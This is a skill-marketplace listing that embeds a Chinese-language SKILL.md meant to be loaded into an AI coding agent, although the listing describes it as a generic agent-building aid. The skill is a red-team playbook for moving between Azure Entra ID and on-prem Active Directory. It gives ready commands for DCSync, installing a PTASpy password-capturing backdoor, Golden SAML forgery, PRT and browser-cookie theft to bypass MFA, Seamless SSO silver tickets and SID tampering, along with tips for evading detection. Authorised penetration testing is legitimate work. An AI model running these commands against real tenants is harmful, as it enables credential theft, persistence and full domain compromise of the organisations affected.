Now liveThe Skillselion MCP - thousands of ranked skills, loaded into your agent mid-task. No install.Get it →
wgpsec avatar

Azure Hybrid Lateral

  • 22 installs
  • 1.6k repo stars
  • Updated July 19, 2026
  • wgpsec/aboutsecurity

Helps with ai & agent building tasks during AI-assisted development.

About

azure-hybrid-lateral is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.

  • azure-hybrid-lateral
  • AI & Agent Building
  • AI-coding skill

Azure Hybrid Lateral by the numbers

  • 22 all-time installs (skills.sh)
  • +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
  • Ranked #10,166 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
  • Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill azure-hybrid-lateral

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

Listed on Skillselion
Installs22
repo stars1.6k
Last updatedJuly 19, 2026
Repositorywgpsec/aboutsecurity

What it does

Helps with ai & agent building tasks during AI-assisted development.

Files

SKILL.mdMarkdownGitHub ↗

Azure 混合身份横向移动方法论(Cloud <-> On-Prem)

在现代企业环境中,Azure/Entra ID 与本地 Active Directory 之间的混合身份架构极为普遍。这种架构在提供便利的同时,也创造了独特的攻击面——攻击者一旦控制了云端身份(Entra ID),便可借助同步服务、信任关系和凭据桥接机制穿越到本地 AD 环境,反之亦然。Cloud-to-OnPrem 横向移动是红队评估中最关键的攻击阶段之一,也是防御方最容易忽视的盲区。

核心要点:混合身份架构中的每一个同步组件(Connect Sync、Cloud Sync、PTA Agent、Federation)都是潜在的横向移动桥梁。攻击者需要首先识别目标使用的混合身份架构类型,然后选择对应的横向技术。

深入参考

识别到具体攻击集群后,加载对应参考文档获取完整技术细节:

  • 身份同步类攻击(Connect Sync/Cloud Sync/PTA/Federation/Domain Services/Arc) → 读 references/identity-sync-attacks.md
  • 令牌与凭据类攻击(PRT/Certificate/Cookie/Seamless SSO/Cloud Kerberos Trust/Exchange Hybrid) → 读 references/token-credential-attacks.md

横向移动决策树

获取云端或本地权限后,按以下决策树选择可用的横向技术:

混合身份架构识别
├─ 检测到 Azure AD Connect Sync(MSOL_* 账户存在)
│   ├─ 已控制 Connect Sync 服务器 → Connect Sync 凭据提取(DCSync)
│   ├─ 有 Entra ID GA 权限 + Password Writeback 启用 → 云端重置 AD 密码
│   └─ 检测到 Seamless SSO(AZUREADSSOACC$ 存在) → 银票伪造访问云端
│       → 读 references/identity-sync-attacks.md
│
├─ 检测到 Cloud Sync(provAgentgMSA 账户存在)
│   ├─ 已控制 gMSA 密码读取权限 → Cloud Sync gMSA 提取 + DCSync
│   └─ AD 用户同步到 Entra ID → 修改密码等待同步
│       → 读 references/identity-sync-attacks.md
│
├─ 检测到 PTA Agent(Pass-through Authentication)
│   ├─ 已控制 PTA 服务器 → 安装 PTASpy 后门(拦截所有密码 + 允许任意密码)
│   └─ 有 GA 权限 → 注册恶意 PTA Agent
│       → 读 references/identity-sync-attacks.md
│
├─ 检测到 Federation(AD FS 服务器存在)
│   ├─ 已控制 AD FS 服务器 → 提取 Token Signing 证书 → Golden SAML
│   └─ 有 Exchange Hybrid → ACS Actor Token 模拟
│       → 读 references/identity-sync-attacks.md
│
├─ 检测到 Cloud Kerberos Trust(AzureADKerberos$ 存在)
│   ├─ 有 GA/Hybrid Identity Admin 权限 → 修改用户 SID → Partial TGT → Full TGT
│   └─ 目标 MSOL 账户 → DCSync 全域
│       → 读 references/token-credential-attacks.md
│
├─ 检测到 Domain Services(AAD DC Administrators 组存在)
│   ├─ 有 Entra ID 权限 → 添加用户到 AAD DC Administrators → RDP 接管
│   └─ 托管域 → 密码哈希同步利用
│       → 读 references/identity-sync-attacks.md
│
├─ 检测到 Arc GPO 部署(AzureArcDeploy 共享目录存在)
│   ├─ 可创建/控制 AD 机器账户 → 解密 SP 密钥 → 云端接管
│   └─ → 读 references/identity-sync-attacks.md
│
├─ 已控制设备(Azure AD Joined/Hybrid Joined)
│   ├─ 设备有 PRT → Pass the PRT(提取 + 构造 PRT Cookie)
│   ├─ 设备有 PRT + NegoEx → Pass the Certificate
│   ├─ 浏览器有 Azure 会话 → Pass the Cookie(ESTSAUTH/ESTSAUTHPERSISTENT)
│   └─ 设备有云端应用(Excel/Teams)→ 内存中提取 JWT Token
│       → 读 references/token-credential-attacks.md
│
└─ 已获取用户凭据(密码/哈希/TGT)
    ├─ 用户已同步到 Entra ID → 直接登录云端
    ├─ 有 AZUREADSSOACC$ 哈希 → Seamless SSO 银票
    └─ 有 KRBTGT 哈希 → Golden Ticket 后通过 Seamless SSO 访问云端
        → 读 references/token-credential-attacks.md

14 种横向技术总览

#技术名称方向前置条件所需权限关键工具隐蔽性
1Connect Sync 凭据提取AD↔CloudConnect Sync 服务器访问服务器本地管理员AADInternals, adconnectdump
2Cloud Sync gMSA 提取AD→CloudCloud Sync Agent 部署DC 机器账户哈希或 gMSA 读取权限DSInternals, Mimikatz
3PTA Agent 后门Cloud→ADPTA Agent 服务器访问服务器本地管理员AADInternals (PTASpy)
4Federation / Golden SAMLAD→CloudAD FS 服务器访问Domain AdminADFSDump, shimit, AADInternals
5Domain ServicesCloud→ADDomain Services 已部署Entra ID 用户管理权限Azure Portal/CLI
6Arc GPO 脚本注入AD→CloudArc GPO 部署共享可达AD 机器账户PowerShell (DPAPI-NG)
7Pass the PRT设备→CloudAzure AD Joined 设备访问本地管理员/用户Mimikatz, ROADtools, AADInternals
8Pass the Certificate设备→设备PRT + NegoEx 支持PRT 提取权限PrtToCert, AzureADJoinedMachinePTC
9Pass the Cookie浏览器→Cloud浏览器会话存在用户级别(DPAPI 解密)Mimikatz (dpapi::chrome)
10Seamless SSO 银票AD→CloudSeamless SSO 启用AZUREADSSOACC$ 哈希Mimikatz, SeamlessPass, Rubeus
11Cloud Kerberos TrustCloud→ADCloud Kerberos Trust 启用Global Admin / Hybrid Identity AdminROADtools Hybrid, Impacket
12Exchange Hybrid 模拟AD→CloudExchange Hybrid 部署Exchange 服务器访问自定义 OAuth 工具
13本地云凭据提取设备→Cloud已入侵终端设备本地管理员/用户WinPEAS, 手动搜索
14Hybrid Misc(强制同步等)AD↔Cloud混合身份同步启用AD 用户属性修改权限PowerShell, AADInternals

第一组:身份同步类攻击

Connect Sync 凭据提取

Azure AD Connect Sync 在安装服务器上创建 MSOL_<installationID> 账户,该账户拥有本地 AD 的 DCSync(目录复制)权限。凭据以 DPAPI 加密方式存储在本地 SQL 数据库 ADSync.mdf 中。攻击者控制 Connect Sync 服务器后,可提取 MSOL 账户密码执行 DCSync 获取全域哈希。

# 提取 Connect Sync 存储的凭据
Install-Module -Name AADInternals -RequiredVersion 0.9.0
Import-Module AADInternals
Get-AADIntSyncCredentials

# 使用 MSOL 账户执行 DCSync
runas /netonly /user:domain\MSOL_<id> cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

枚举:搜索 MSOL_*Sync_*ADSyncMSA* 账户确认 Connect Sync 存在。

Cloud Sync gMSA 凭据提取

Cloud Sync 使用 provAgentgMSA 组托管服务账户(gMSA),默认拥有 DCSync 权限。gMSA 密码通常仅允许 DC 机器账户读取。攻击者需先获取 DC 机器账户哈希,然后以其身份读取 gMSA 密码。

# 枚举 gMSA 账户
Get-ADServiceAccount -Filter * -Server domain.local
# 获取 DC 机器账户哈希后读取 gMSA 密码
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword

PTA Agent 后门

Pass-through Authentication Agent 从 Azure AD 队列中获取加密凭据并在本地 AD 验证。攻击者控制 PTA 服务器后,可安装后门拦截所有明文密码并允许任意密码通过验证(类似 Skeleton Key 攻击)。

# 安装 PTASpy 后门
Install-AADIntPTASpy
# 读取拦截到的明文密码
Get-AADIntPTASpyLog -DecodePasswords
# 移除后门
Remove-AADIntPTASpy

注意:获取 GA 权限后可注册新的 PTA Agent 实现持久化。

Federation / Golden SAML

AD FS 使用 Token Signing 证书签名 SAML Response。攻击者提取该私钥后可伪造任意用户的 SAML 令牌(Golden SAML),绕过密码和 MFA 认证。证书不会自动轮换,且修改用户密码不影响已生成的 SAML。

# 从 AD FS 服务器导出 Token Signing 证书
Export-AADIntADFSSigningCertificate
# 使用 shimit 伪造 SAML Response
python shimit.py -idp http://adfs.domain.com/adfs/services/trust -pk key.pem -c cert.pem -u domain\admin -n admin@domain.com -r ADFS-admin -id 123456789012

Domain Services

Microsoft Entra Domain Services 在 Azure 中部署托管 AD。AAD DC Administrators 组成员在域内 VM 上拥有本地管理员权限。攻击者只需将用户加入该组即可通过 RDP 接管域内所有 VM。

Arc GPO 部署脚本注入

Azure Arc 通过 GPO 部署脚本将服务器接入 Azure,Service Principal 密钥使用 DPAPI-NG 加密存储在网络共享中。攻击者创建或控制 AD 机器账户后即可解密该密钥,以 Service Principal 身份访问 Azure。

# 使用机器账户 TGT 解密 SP 密钥
Import-Module .\AzureArcDeployment.psm1
$encryptedSecret = Get-Content "\\share\AzureArcDeploy\encryptedServicePrincipalSecret"
$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)

第二组:令牌与凭据类攻击

Pass the PRT

Primary Refresh Token(PRT)是 Azure AD 设备上的长生命周期刷新令牌,类似于 Kerberos TGT。PRT 及其 Session Key 缓存在 LSASS 的 CloudAP 插件中。无 TPM 设备上可直接从内存提取;有 TPM 设备上可通过 BrowserCore COM 接口或 WAM API 间接获取 PRT Cookie。

# 从 LSASS 提取 PRT 和 Session Key(无 TPM)
privilege::debug
sekurlsa::cloudap
token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# 生成 PRT Cookie
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
# 使用 roadtx 续期 PRT
roadtx prt -a renew --prt <PRT> --prt-sessionkey <clear_key>
roadtx browserprtauth

非管理员路径:通过 BrowserCore COM(RequestAADRefreshToken.exe)或 ROADtoken 在用户级别获取 PRT Cookie。

Pass the Certificate

基于 PRT 向 Entra ID CA 请求用户 P2P 证书,然后使用该证书通过 NegoEx 认证访问其他 Azure AD Joined 机器。

# 请求 P2P 证书
RequestCert.py --tenantId <TenantID> --prt <PRT> --userName <User> --hexCtx <Ctx> --hexDerivedKey <Key>
# 使用证书访问远程机器
Main.py --usercert user.pfx --certpass <pass> --remoteip <target_ip>

Pass the Cookie

从浏览器提取 Azure 认证 Cookie(ESTSAUTHESTSAUTHPERSISTENT),使用 DPAPI 解密后注入浏览器即可绕过 MFA 直接访问 Azure 资源。

# 使用 Mimikatz 提取 Chrome Cookie
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
# 将 ESTSAUTHPERSISTENT Cookie 注入浏览器 → 访问 login.microsoftonline.com

Seamless SSO 银票

Seamless SSO 在 AD 中创建 AZUREADSSOACC$ 计算机账户,其密码永不更换且以明文发送给 Entra ID。攻击者获取该账户哈希后可为任意同步用户伪造 Kerberos 银票访问云端资源。

# 提取 AZUREADSSOACC$ 哈希
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
# 使用 SeamlessPass 获取云端令牌
seamlesspass -tenant corp.com -adssoacc-ntlm <hash> -user-sid <SID>
# 或伪造银票
mimikatz.exe "kerberos::golden /user:<target> /sid:<domain_SID> /id:<RID> /domain:domain.local /rc4:<hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit

注意:AZUREADSSOACC$ 密码永不更换,一次提取即可长期利用。银票不绕过 MFA。

Cloud Kerberos Trust

当环境启用 Cloud Kerberos Trust 时,Entra ID 可为 AD 用户签发 Partial TGT。攻击者拥有 Global Admin 权限后,可通过 Sync API 修改混合用户的 onPremisesSID 指向高权限 AD 账户(如 MSOL 同步账户),然后获取 Partial TGT 并在 DC 上换取 Full TGT,最终执行 DCSync。

# 修改混合用户的 on-prem SID 指向目标账户
python3 modifyuser.py -u <GA_UPN> -p <Password> --sourceanchor <ImmutableID> --sid <Target_SID> --sam <Target_SAM>
# 获取 PRT 中的 Partial TGT
roadtx getprt -u <HybridUser> -p <Password> -d <DeviceID>
# 将 Partial TGT 换为 Full TGT + NTLM 哈希
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
# DCSync
secretsdump.py 'DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash>

Exchange Hybrid 模拟

旧版 Exchange Hybrid 设计中,本地 Exchange 可使用与 Exchange Online 相同的 Entra 应用身份。攻击者从 Exchange 服务器提取 Hybrid 证书私钥后,可通过 ACS Actor Token 模拟任意用户访问 Exchange Online 和 SharePoint/OneDrive。graph.windows.net 的模拟路径已被修补,但 Exchange/SharePoint 模拟在未完成身份分离迁移的环境中仍然有效。

本地云凭据提取

入侵终端设备后可从多个位置提取云端凭据:

位置凭据类型路径/方法
Azure CLIAccess Token(明文)C:\Users\<user>\.Azure\accessTokens.json
Azure PowerShellToken CacheC:\Users\<user>\.Azure\TokenCache.dat
Azure PowerShellSP Secret(明文)C:\Users\<user>\.Azure\AzureRmContext.json
进程内存JWT Token(明文)转储 Excel/Teams 进程内存,grep eyJ0
浏览器Session CookieDPAPI 解密浏览器 Cookie 存储
# 从进程内存提取 JWT Token
strings excel.dmp | grep 'eyJ0'
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

工具推荐

工具用途适用场景
AADInternalsConnect Sync/PTA/Seamless SSO/PRT 攻击全场景混合身份攻击
ROADtools (roadtx/roadrecon)PRT 操作、Cloud Kerberos Trust、设备注册Cloud→OnPrem 穿越
MimikatzPRT/Cookie/DPAPI/DCSync/银票凭据提取与票据伪造
RubeusKerberos 票据操作、S4U、银票Seamless SSO/RBCD 攻击
SeamlessPassSeamless SSO 一键利用TGT/TGS/哈希→云端令牌
adconnectdumpConnect Sync 凭据远程提取远程 Connect Sync 攻击
shimitGolden SAML 伪造Federation 攻击
ImpacketDCSync/secretsdump/getST/addcomputerAD 核心攻击工具集
PrtToCertPRT→P2P 证书生成Pass the Certificate
ROADtoken用户级 PRT Cookie 获取非管理员 PRT 利用
DSInternalsgMSA 密码读取、NTDS.dit 解析Cloud Sync/Seamless SSO
WinPEAS自动化本地凭据搜索本地云凭据发现

架构识别枚举命令

# 检测 Connect Sync(从 AD 侧)
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'"

# 检测 Cloud Sync(从 AD 侧)
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"

# 检测 Seamless SSO(从 AD 侧)
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"

# 检测 Cloud Kerberos Trust(从 AD 侧)
Get-ADComputer -Filter "SamAccountName -like 'AzureADKerberos$'"

# 检测 PTA Agent(从 Entra ID 侧)
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'

# 检测 Cloud Sync Agent(从 Entra ID 侧)
az rest --method GET --uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups"

# 检测同步配置(从 Entra ID 侧)
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"

# 检测 Federation(从外部)
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain> | Format-Table

操作安全(OPSEC)

  • PTA 后门:PTASpy 以 DLL 注入方式工作,重启服务后失效;在 C:\PTASpy 创建文件夹会留下文件系统痕迹
  • Connect Sync 凭据提取Get-AADIntSyncCredentials 需要本地管理员权限访问 SQL 数据库,操作本身不产生网络日志
  • Golden SAML:Token Signing 证书不自动轮换,攻击者可长期伪造令牌;检测需监控 AD FS 证书导出事件
  • PRT 提取sekurlsa::cloudap 需要 SYSTEM 权限访问 LSASS,会触发 EDR/Sysmon 的 LSASS 访问告警
  • Seamless SSO 银票AZUREADSSOACC$ 密码永不更换,一次提取后攻击者可无限期伪造银票
  • Cloud Kerberos Trust:修改用户 onPremisesSID 会被下次同步周期自动还原,但攻击窗口足够完成 DCSync
  • Password Writeback:修改 AD 用户密码会产生 Entra ID 审计日志;adminCount=1 的用户(Domain Admins 等)不受影响
  • GuardDuty 等效:Azure 中对应的检测服务为 Microsoft Defender for Identity 和 Microsoft Sentinel,监控 DCSync、异常 Kerberos 票据请求等

交叉引用

  • 参考 azure-pentesting 技能,获取 Azure 环境的整体攻击流程和初始访问方法
  • 参考 azure-ad-attack 技能,获取 Entra ID 权限提升和持久化技术

Related skills

This week in AI coding

Five minutes, every Monday - the tools, releases and tactics for developers.

unsubscribe anytime.